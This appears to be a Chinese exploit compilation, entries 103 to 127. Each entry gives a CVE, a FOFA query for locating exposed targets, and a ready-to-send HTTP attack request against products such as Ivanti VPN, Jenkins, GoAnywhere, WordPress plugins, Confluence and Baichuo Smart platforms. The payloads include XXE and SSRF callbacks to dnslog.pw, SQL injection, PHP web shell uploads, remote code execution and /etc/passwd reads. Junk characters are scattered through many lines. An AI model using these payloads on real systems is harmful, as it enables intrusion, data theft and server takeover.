<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
& Q2 [0 H0 o8 Z+ S  R0 T
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
% |' ~! r2 y  \0 r7 A3 T4 s: ]POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
5 P, h! Y! ~0 Q. fContent-Length: 204
; n, u, S( w, y# r6 N. r- GContent-Type: application/x-www-form-urlencoded
  T* y+ g7 _5 p$ x1 gAccept-Encoding: gzip
4 r: Z2 I/ \4 c. o( _* w
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
! X/ m7 l/ u0 d1 k3 m
/ ?" [9 y0 ^3 Q1 {  C8 {
' S+ S/ e3 B* l/ q& k0 k其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
' E$ U! ^+ g1 C& l9 D2 |' b# q0 i<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

5 O, i% ~& H. c! e
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
! I" e& G4 v) s0 v0 z0 Y* L4 XFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
' h, `! M. M. t% g2 p! I* W9 Q  i) ?Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
! Y: V, R& R% A' ~3 e6 Y0 aX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
$ o% K8 `! C- U$ p: vOrigin: http://192.168.0.1
9 z6 s( R# M% S: sReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
: [( f* v+ R8 E: @$ ?, cConnection:close
* N8 O4 R! N" n
{
' I5 `  L$ k7 |"topicurl":"getSysStatusCfg",
"token":""
( _$ p! T. I# ?: O2 J5 N( A4 e}

105. SpringBlade v3.2.0 export-user SQL 注入
! M$ E* T$ _. M/ \FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
# M4 o# `+ j( j- w
4 t) V! m+ `1 E5 O) O4 x8 ]) ^, D4 @1 y106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 v; G  K2 T2 x* S* Z1 jBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 C' h1 z, R/ W  ?9 IConnection: close

/ W5 y; a; F8 H; |6 Y
! l. x3 X/ L5 L  \107. SpringBlade tenant/list SQL 注入
" j- ^+ Z% V  @4 U. u! `/ i8 nFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
: |  U2 z& w! TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
( ?' v( p% P; K7 w9 [# LConnection: close
5 ]$ u" Z7 ^3 L, U, C

108. D-Tale 3.9.0 SSRF
" j1 {% i5 o0 k) o% x2 P0 P; VCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
" f( C" v4 p9 K$ JHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
* b1 _0 ?" E& bAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


% ?/ ]6 `, `, C0 ~6 o. B+ C- g109. Jenkins CLI 任意文件读取
2 r4 y5 f: R7 {3 ]* iCVE-2024-23897
. v* I4 M% C, F9 E: r% ^1 [' ?( `& dFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
# B* z& M" J( U" V& Y) B$ }: AHost:
Content-type: application/octet-stream
& @* h# g$ k$ ?7 vSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
+ B1 h1 X- V. y$ c+ @8 j* PSide: upload
, e* x. F" S7 A/ [; `8 kConnection: keep-alive
. f0 |% D# V# Q+ m3 GContent-Length: 163
7 a* i+ C0 u! ?# T% z1 a
5 [  s& P- H4 T  Ib'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
5 C5 G6 b' P) r% T* {, w( M, }Host:
6 k# Q7 g7 d4 `; u, ?0 f+ r! T$ @& VSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
* j7 I2 C, F( L* gContent-Type: application/x-www-form-urlencoded
Content-Length: 0
- n- o, B2 l* N6 h0 k2 E2 f
3 t- Y' y- m" N
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2 r9 E; A5 x, z& fjava -jar jenkins-cli.jar help
[COMMAND]
; v, F$ ]0 T& w0 _# fLists all the available commands or a detailed description of single command.
! a( }% V( ^* ^6 z3 b, ? COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
1 Z% j% }$ G( M% K! x

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
' P) r+ L2 U/ |3 A' Z# aFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
+ d5 I" b) F7 }' o* U0 YGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
# B* _, ^1 r: ^* G" H) f; IUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
/ x! j3 n3 w) s1 a4 nAccept-Language: en
' k1 f1 A  |' C% BAccept-Encoding: gzip


3 r7 B$ D  y& x- U$ c4 }111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
9 w  d* d2 e0 j: T+ y# C( KFOFA："wordpress" && body="html5-video-player"
9 T1 q  l, ?. Z" QGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
+ X/ ^* ]( O8 S  X" q! ~Host: 192.168.40.130:112
! c; K& E8 o4 c. ?# O% A0 AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
5 V( j& @/ E9 pAccept: */*
Accept-Language: en
Accept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
5 h- O8 v; }( GFOFA：body="/wp-content/plugins/notificationx"
" h. U! S0 I; Y# S$ j# e+ g8 {* M+ l# NPOST /wp-json/notificationx/v1/analytics HTTP/1.1
) W+ A0 d& j+ _. D& U* Z9 KHost: {{Hostname}}
Content-Type: application/json
, a, g8 o7 d7 Y5 s7 M$ C5 X; t7 \: @
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
1 h0 o" }  Z, L2 O0 `4 e) \4 @4 N
. E0 p  a. G, A2 \) ?# e+ T
, N8 w* |1 f6 D7 b6 ?113. WordPress Automatic 插件任意文件下载和SSRF
$ G6 `7 X; w. K- ?9 I5 ?5 D- w4 kCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
1 y, {! B" n, c* n- hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
6 M: i( V& r: @6 H! V0 \Connection: close
Accept: */*
& O# r6 S* V$ D% e; o5 b, eAccept-Language: en
Accept-Encoding: gzip


% n8 ]/ P, r3 Z* ?. H* z$ a0 t114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
7 a& I& O# d0 V0 v) I( lHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
/ H/ U7 ?+ b$ W- t: @; |6 r$ Q' WAccept-Encoding: gzip, deflate
+ B+ z+ T& ]7 g4 Y& Y1 @7 pConnection: close

! N  t2 J2 e6 M: i1 Y6 V% L
6 z! B9 \) K( _115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
5 @0 _# K" Z: r5 }第一步，获取网站的nonce值
GET / HTTP/1.1
# B3 K! A: n( O. u  X3 T4 W- h# WHost: x.x.x.x
" A' `& ?$ F, a/ ~# u0 d' @  O$ VUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
8 J# a' x" @' Z4 A6 IAccept-Encoding: gzip
, b  x8 K4 y% }6 v

第二步替换nonce值，执行命令
% V" S, M4 _% h' A2 Y/ cPOST /wp-json/bricks/v1/render_element HTTP/1.1
: w+ o& f. g9 ]% X7 PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
& h4 h3 L5 _1 X5 Q% SConnection: close
' q) H2 f0 j7 Z- P/ ?Content-Length: 356
$ ]% W7 n  {' A+ CContent-Type: application/json
Accept-Encoding: gzip

+ Z6 Z4 F% H: n' d" p{
) ?/ L! D6 D9 g6 @6 n"postId": "1",
  "nonce": "第一步获得的值",
' B5 L- w. n, l3 Q, @% r& v$ M  "element": {
    "name": "container",
    "settings": {
) P8 n: C- _8 Q4 K      "hasLoop": "true",
6 N$ b% h$ Z/ z9 q9 k      "query": {
        "useQueryEditor": true,
$ f; s$ |3 r0 {1 g1 t        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
5 t0 {5 \# C$ C! C& j6 ]        "objectType": "post"
0 }& d4 ~9 i4 E6 O      }
    }
8 A- F/ o9 p' U+ h! H0 x  }
}


116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
: `- N4 M8 F6 i( L: R
----------767099171
Content-Disposition: form-data; name="action"
, U" }5 d$ `" y/ Zconfiguration_saveconfiguration
----------767099171
5 ?) Z' Q+ o4 Q5 ZContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
& z! ?" Z$ \: q( MContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
$ N& ^' ^; r* J% K7 t* G: p* D2 f----------767099171--

( I' R1 k$ H* A, a7 L& c
9 Q, U0 n& a% Y( b2 c! T117. WordPress LayerSlider插件SQL注入
. t3 k8 O+ ^$ f) n* }version：7.9.11 – 7.10.0
4 c% A3 d4 |3 S" B; e( yFOFA：body="/wp-content/plugins/LayerSlider/"
0 K$ r* @8 x$ A: B- w6 C$ B6 ^# JGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
; S9 l& {, q* N2 O( E3 u# Z5 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
' K' V3 ?* B3 P& e. Y, l1 _. b: C' ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& q; z0 j" O  J+ j. CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
& y; H8 ]1 u( x& f% xUpgrade-Insecure-Requests: 1

1 ~4 @) |5 L! |$ P
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
1 W: Q  L" j0 fCVE-2024-0939
( k$ O% X9 y, e$ V+ V- IFOFA：title="Smart管理平台"
0 G9 _; l) z2 Z5 ePOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
1 I2 C: {7 a8 k' x" `, a4 n+ DCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
' D% ^' V7 b  B2 `9 N" XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& g9 F7 y+ d9 G1 x4 d( LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, t0 |8 k9 T4 H7 X; d3 FAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
) P. O) v1 Z6 e0 J+ |7 t' ~( U4 NOrigin: https://192.168.40.130:8443
$ F) _! F4 P9 X. I2 H  D" B6 FReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
" l, x7 e$ p) x9 K: oSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
/ T( I, ?9 i3 K0 C$ l7 A( aSec-Fetch-User: ?1
4 o) W2 U, G: i" O0 `Te: trailers
Connection: close

7 f* R* |( \) }+ F' b, H-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
4 w# L3 T- p: U, vContent-Type: application/octet-stream
2 A- l  D' G3 D9 ]( {: Z& e
<?php
, f$ ]$ _7 ^0 n! _system($_POST["passwd"]);
?>
- [4 B6 `+ G& P$ l7 B! |-----------------------------13979701222747646634037182887
' S; S+ p) H: x9 ~( X" ]Content-Disposition: form-data; name="txt_path"

/home/src.php
, }0 O3 o$ C9 B# m  R8 R-----------------------------13979701222747646634037182887--


访问/home/src.php

! J8 W" w. ?4 f% f, T" U119. 北京百绰智能S20后台sysmanageajax.php sql注入
. l' T; S* \% f2 u0 `CVE-2024-1254
FOFA：title="Smart管理平台"
/ T* ^5 Y$ c" @  v! p, k先登录进入系统，默认账号密码为admin/admin
  B1 E' Q$ v4 JPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
! I% d, u4 j+ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
& s8 ]- d# o- x; G0 }Accept: */*
3 U1 g8 z, g; O2 d+ aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
& w% |1 s! E$ B8 n; FSec-Fetch-Dest: empty
% B) O1 ^* W- f5 p; K. u* FSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
) `7 U& b5 F# O# P4 aX-Remote-Ip: 1.1.1.1
9 J; M: g8 R! ~2 jX-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
( w8 ~' h9 ~" C3 X0 e9 r+ S- y3 A* O
7 ^; F# K$ {- t6 ~6 a
* e4 s5 t0 w% W( p120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
. K0 }7 J& O! P. IPOST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. Z/ k( P7 u9 k" T8 ~7 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, L7 C) f! u: X" A! o, {! cAccept-Encoding: gzip, deflate
$ g( G/ G$ c) l+ p6 D% NContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
2 P/ N9 W; s6 ZContent-Length: 597
0 X; P( ~2 f+ H4 J% SOrigin: https://ip:port
7 ~; s9 J, L7 s7 u3 v* pReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
$ r- J+ k/ ]5 N4 O; O$ i- Q. Z  mSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
- l0 ^( f2 ]8 Q/ SSec-Fetch-Site: same-origin
  @9 ^5 L$ {: _' S4 d7 x* {& OSec-Fetch-User: ?1
1 E2 m9 V$ S, j0 Z: Q. [6 zTe: trailers
Connection: close
9 W& m8 z1 e& P8 |' B+ c' M$ d( \
-----------------------------42328904123665875270630079328
3 r: |8 T& R+ P% W9 r# MContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

' L  ]6 E* s0 V) N<?php phpinfo()?>
2 R% P. @  J6 V! I& P7 X-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

$ K2 ?& m5 d$ c3 ?3 Y1 u1
3 l9 _* y7 r( t' x-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

! U; T0 j  B6 \" F4 W! y1_radhttp
- q4 \+ n1 \  _( E% ~: r" j-----------------------------42328904123665875270630079328
5 r8 @5 \& Y- qContent-Disposition: form-data; name="mode"
1 `; ]# k# e9 S3 [4 h; N
import
-----------------------------42328904123665875270630079328

4 z/ {0 h0 J$ J: q+ N
文件路径/upload/2.php
9 @6 O  z/ T. O7 }8 q- Y2 r1 q
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
" @  z  }/ k' d6 B" o' xFOFA：title="Smart管理平台"
. a- t2 M( a$ wPOST /useratte/userattestation.php HTTP/1.1
; P) B3 G, S! w* u. gHost: 192.168.40.130:8443
' n! G& s1 o4 D; \( i0 O' T5 {$ s$ ~Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
( _0 L0 G" q# K3 vUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
5 w  S; o$ l  j# P: V+ ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. y; \- w4 \8 ~2 w0 VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- D2 {( g: C% i! T' G( d' _Accept-Encoding: gzip, deflate
. l/ h4 f( H8 p% I! n5 I" R: ?% I$ C) CContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
3 M* Y% u+ S. VOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
4 `! R) t* Z5 {9 b9 U6 \# w0 RSec-Fetch-Dest: document
+ w/ Z& i" a& R* D1 Q& b3 i( s0 FSec-Fetch-Mode: navigate
$ i7 F+ F4 k& \& d' {Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
: }1 ^: K& C( _/ y% p8 ^Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
+ l% h& w3 u' u7 v  v" }Content-Type: application/octet-stream

* ]3 p# R- n& ]4 K2 p( {<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

& B+ _2 I5 b% W/ E( _1
7 Q# ]+ G$ w" x$ h. o-----------------------------42328904123665875270630079328
  a/ o: ^- ]3 ^6 vContent-Disposition: form-data; name="1_ck"

6 P) @# J* _# G: k  S" b, B* U3 a1_radhttp
-----------------------------42328904123665875270630079328
5 G  N, Y8 d% i% @Content-Disposition: form-data; name="hidwel"
! y) }; f7 U0 Y; l
+ g" g5 B, n  N/ g4 x" w1 vset
. r4 ^& u$ V! E* ]+ k  E9 ?-----------------------------42328904123665875270630079328

! z3 U5 ?  b3 |) I2 P  N
boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
! g9 h, i4 k$ C/ S4 W* b4 A* MCVE-2024-27718FOFA：title="Smart管理平台"
  q! b, J* ^- d* S, @' X其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
  w8 f0 R6 O2 r2 o" B- w( vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
0 x( w7 [/ P7 m* d( JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& Q5 a1 R  A) Z5 `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. f# F6 A- y3 |) \Accept-Encoding: gzip, deflate, br
6 V& p5 ?6 T+ t2 w0 Z( MUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
2 Z$ J6 e, S* w; U6 b1 [9 D3 _4 s) pSec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
4 }7 X0 J! J4 S5 G/ S6 u* {4 k
3 t- x- y& |5 ~8 M  U) A
123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
% }' }! F/ ?* W: g- v5 wAccept-Language: en-US;q=0.9,en;q=0.8
6 ~# @0 v: ?/ G4 r; b6 {) Q, [% SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
: i; d* f* A( D# o- k" C& P
/ z. j' R1 R' Elabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


( |- Y, s$ x: ]$ T( [+ F2 ^124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
' A) s3 P7 }- q' v& d+ T7 N* zPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
# F* Z/ ~7 l& _' `* g/ RUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
. N2 q& M9 P; r! i- z0 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
1 F3 [% R! l+ H  B/ p0 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
2 h( r( ~. Z$ R5 JContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
# j% ?+ c3 c, B6 ^; fhttps://github.com/watchtowrlabs ... bypass-add-user-poc
3 {) o2 Q0 m. u7 D+ i' U% q

5 X; p1 i. H2 E7 U2 R1 |6 J' ~使用方法
. \* d! V* z* e, M$ Upython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


. L. x* h$ c2 y1 O创建好用户后直接登录后台，可以执行系统命令。

, ?; P9 T+ ]8 w! B126. Aiohttp 路径遍历
  {) i* E( i; G  D/ n) v6 C) M4 LFOFA：title=="ComfyUI"
! {, [0 D8 t/ t, aGET /static/../../../../../etc/passwd HTTP/1.1
5 _3 X" ~+ [, q& c( ~3 u; MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
5 }" H; E9 n6 R& w9 y1 |2 rAccept: */*
/ S: r$ F# M& I+ EAccept-Language: en
7 x- e9 v% u8 L8 C8 D2 UAccept-Encoding: gzip
" ?4 b3 L- `+ D1 i
) }. j& j1 W0 D7 m  E
127. 广联达Linkworks DataExchange.ashx XXE
7 n6 C2 W' u+ g' ?1 P: r3 FFOFA：body="Services/Identification/login.ashx"
/ ^: d9 X2 _; {$ h$ pPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* O& e- S0 ~: J5 FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 @# u+ [# v7 v4 ~" J8 DConnection: close
6 I9 p: v  z, t3 I0 B! uContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
6 N" {, u" K' o/ y0 S! y$ GPurpose: prefetch
: `: m0 E! z8 M( FSec-Purpose: prefetch;prerender
